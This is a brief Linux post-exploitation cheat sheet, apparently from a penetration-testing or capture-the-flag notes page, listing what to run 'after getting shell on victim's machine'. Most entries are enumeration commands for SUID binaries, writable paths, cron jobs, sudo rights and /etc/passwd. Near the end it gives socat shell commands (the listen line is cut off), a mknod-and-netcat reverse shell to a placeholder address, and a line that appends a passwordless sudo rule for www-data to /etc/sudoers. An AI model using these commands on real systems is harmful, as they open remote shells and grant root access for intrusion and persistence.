Things to do after getting shell on victim’s machine

  • Find World Writable Folders
    find / -xdev -type d -perm -0002 -ls 2> /dev/null
  • Find World Writable Files
    find / -xdev -type f -perm -0002 -ls 2> /dev/null
  • Find SUIDs
    find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
  • DIstro Information
    cat /etc/*-release
  • Check open ports
    netstat -antup
  • Check processes
    ps -elf
  • Check processes running with root privileges
    ps -elf | grep root
  • Check running services
    cat /etc/services
  • Check installed packages
    dpkg -l
    rpm -qa
  • Check for sudo permissions
    sudo -l
  • Check OS architecture
    uname -a
  • Check cronjobs
    cat /etc/cron*
  • Check fstab
    cat /etc/fstab
  • Check network configuration
    ip addr
  • Check contents of /etc/passwd
    cat /etc/passwd
  • Using socat
    • Listen
        $ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:
    • Connect
        $ socat file:`tty`,raw,echo=0 tcp-listen:4444
  • Reverse connection using mknod
    mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe | nc <ip> <port> 1> /tmp/backpipe; rm /tmp/backpipe
  • Check version of an installed application
    dpkg -l <application name>
  • Sometimes checking /opt /tmp /var /usr might help.

  • Edit sudoers file and grant sudo access to the current user (www-data in this case) with no password
    echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers


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